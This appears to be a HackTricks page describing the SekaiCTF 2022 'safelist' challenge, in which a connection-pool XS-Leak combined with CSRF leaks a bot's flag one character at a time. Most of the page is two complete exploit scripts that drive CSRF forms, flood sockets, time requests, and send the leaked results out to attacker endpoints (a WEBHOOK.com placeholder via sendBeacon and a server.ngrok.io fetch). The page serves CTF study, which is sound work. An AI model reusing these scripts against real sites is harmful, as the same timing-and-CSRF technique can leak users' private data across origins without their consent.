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307 lines
13 KiB
Markdown
307 lines
13 KiB
Markdown
# Connection Pool Example
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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In the [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution) challenge, [**@Strellic\_**](https://twitter.com/Strellic\_) gives an example of how to use a **variation** of the **Connection Pool** technique to perform a **XS-Leak**.
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In this challenge, the goal is to exfiltrate a flag that will appear in the bots web session inside a post. These are the assets the attacker has:
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* The **bot** will **visit** a **URL** given by the attacker
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* The attacker can **inject HTML** in the page (but no JS, dompurify is used) abusing a **CSRF** making the **bot create a post** with that HTML.
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* The attacker can abuse a CSRF to make the **bot** **delete** the **first** **post** inside the web.
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* Because the **posts** are ordered **alphabetically**, when the **first post is deleted**, if the **HTML** content of the attacker is **loaded** means that it was **alphabetically before the flag**.
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Therefore, to steal the flag, the solution proposed by @Strellyc\_ is to, **for each char to test** make the bot:
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* Create a **new post** that **starts** with the known part of the **flag** and several **img** **loads**.
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* **Delete** the **post** in position **0**.
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* Block 255 sockets.
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* Load the page with the posts
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* Perform 5 random requests to a site (example.com in this case) and measure the time this takes.
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{% hint style="warning" %}
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If the **deleted** post was the **flag**, this means that all the **images** **injected** in the HTML are going to be **fighting** with the **5 random requests** for that **unblocked** socket. Which means that the time measured is going to be bigger than the other scenario.
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If the **deleted** post was the **HTML**, the **5 random requests** will be **faster** because they don't need to fight for that socket with the HTML injected.
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{% endhint %}
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### Exploit 1
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This is the exploit code, taken from [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
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```html
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<!-- Form to inject HTML code in the bots page -->
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<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
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<input type="text" name="text" />
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<input type="submit" />
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</form>
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<!-- Form to delete the first entry -->
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<form method="POST" action="https://safelist.ctf.sekai.team/remove" id="remove" target="_blank">
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<input type="text" name="index" value="0" />
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<input type="submit" />
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</form>
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<script>
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// Attacker listening
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const WEBHOOK = "https://WEBHOOK.com/";
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// Send data to attacker
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const log = (id, data) => {
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let payload = JSON.stringify({ known, alphabet, data });
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console.log(id, payload);
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navigator.sendBeacon(WEBHOOK + "?" + id, payload);
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}
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// Similar to JQuery
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const $ = document.querySelector.bind(document);
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// Known part of the flag
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const known = "SEKAI{";
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let alphabet = "_abcdefghijklmnopqrstuvwxyz}";
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// Reduce the alphabet using a hash (#) in the URL
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if (location.hash) {
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alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)));
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}
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// Funtion to leak chars
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const leak = async (c) => {
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// Prepare post with known flag and the new char
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let payload = `${known + c}`;
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// Inject as many <img as possible
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// you need to respect the CSP and create URLs that are different
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for(let i = 0; payload.length < 2048; i++) {
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payload += `<img src=js/purify.js?${i.toString(36)}>`;
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}
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// Inject HTML
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$("#create input[type=text]").value = payload;
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$("#create").submit();
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await new Promise(r => setTimeout(r, 1000));
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// Remove post with index 0
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$("#remove").submit();
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await new Promise(r => setTimeout(r, 500));
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let deltas = [];
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// Try each char 3 times
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for (let i = 0; i < 3; i++) {
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const SOCKET_LIMIT = 255;
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// you will need a custom server that works like num.sleepserver.com/sleep/delay
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// needed to freeze the blocked sockets, and they have to all be on different origins
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// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
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const SLEEP_SERVER = i => `http://${i}.sleepserver.com/sleep/60`;
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const block = async (i, controller) => {
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try {
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return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal });
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}
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catch(err) {}
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};
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// block SOCKET_LIMIT sockets
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const controller = new AbortController();
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for (let i = 0; i < SOCKET_LIMIT; i++) {
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block(i, controller);
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}
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// Make the bot access the page with the posts
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window.open("https://safelist.ctf.sekai.team/?" + Math.random().toString(36).slice(2), "pwn");
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await new Promise(r => setTimeout(r, 500));
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// start meassuring time to perform 5 requests
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let start = performance.now();
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await Promise.all([
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fetch("https://example.com", { mode: "no-cors" }),
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fetch("https://example.com", { mode: "no-cors" }),
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fetch("https://example.com", { mode: "no-cors" }),
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fetch("https://example.com", { mode: "no-cors" }),
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fetch("https://example.com", { mode: "no-cors" })
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]);
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let delta = performance.now() - start;
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document.title = delta;
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controller.abort();
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log("test_" + c + "_" + i, delta);
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// Save time needed
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deltas.push(delta);
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}
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return deltas;
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};
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// Check each char
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const pwn = async () => {
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// Try to leak each character
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for(let i = 0; i < alphabet.length; i++) {
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//Check the indicated char
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let deltas = await leak(alphabet[i]);
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// Calculate mean time from requests to example.com
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let avg = deltas.reduce((a,v) => a+v, 0) / deltas.length;
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// If greater than 250, the HTML code was injected (flag in index 0)
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if (avg > 250) {
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log("tests_pos_" + alphabet[i], deltas)
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}
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// Flag in the page
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else {
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log("tests_neg_" + alphabet[i], deltas)
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}
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}
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};
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window.onload = async () => {
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pwn();
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};
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</script>
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```
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### Exploit 2
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Same tactic but different code from [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
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```html
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<!DOCTYPE html>
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<html>
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<!--
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The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
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If images are loading, the request to "/" is slower, otherwise faster.
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By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
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We can use fetch to measure the request time.
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-->
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<body>
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<button onclick="run()">start</button>
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<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
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<input id=inp name="text" value="">
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</form>
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<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
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<input id=inp2 name="index" value="">
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</form>
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<script>
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let flag = 'SEKAI{'
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const TARGET = 'https://safelist.ctf.sekai.team'
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f.action = TARGET + '/create'
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f2.action = TARGET + '/remove'
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const sleep = ms => new Promise(r => setTimeout(r, ms))
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const send = data => fetch('http://server.ngrok.io?d='+data)
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const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
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// start exploit
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let count = 0
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setTimeout(async () => {
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let L = 0
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let R = charset.length - 1
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while( (R-L)>3 ) {
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let M = Math.floor((L + R) / 2)
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let c = charset[M]
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send('try_' + flag + c)
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const found = await testChar(flag + c)
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if (found) {
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L = M
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} else {
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R = M - 1
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}
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}
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// fallback to linear since I am not familiar with binary search lol
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for(let i=R; i>=L; i--) {
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let c = charset[i]
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send('try_' + flag + c)
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const found = await testChar(flag + c)
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if (found) {
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send('found: '+ flag+c)
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flag += c
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break
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}
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}
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}, 0)
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async function testChar(str) {
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return new Promise(resolve => {
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/*
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For 3350, you need to test it on your local to get this number.
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The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
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If starts with "A", the image should be loaded because it's in the threshold.
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*/
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inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
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f.submit()
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setTimeout(() => {
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run(str, resolve)
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}, 500)
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})
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}
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async function run(str, resolve) {
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// if the request is not enough, we can send more by opening more window
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for(let i=1; i<=5;i++) {
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window.open(TARGET)
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}
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let t = 0
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const round = 30
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setTimeout(async () => {
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for(let i=0; i<round; i++) {
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let s = performance.now()
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await fetch(TARGET + '/?test', {
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mode: 'no-cors'
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}).catch(err=>1)
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let end = performance.now()
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t += end - s
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console.log(end - s)
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}
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const avg = t/round
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send(str + "," + t + "," + "avg:" + avg)
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/*
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I get this threshold(1000ms) by trying multiple times on remote admin bot
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for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
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*/
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const isFound = (t >= 1000)
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if (isFound) {
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inp2.value = "0"
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} else {
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inp2.value = "1"
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}
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// remember to delete the post to not break our leak oracle
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f2.submit()
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setTimeout(() => {
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resolve(isFound)
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}, 200)
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}, 200)
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}
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</script>
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</body>
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</html>
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```
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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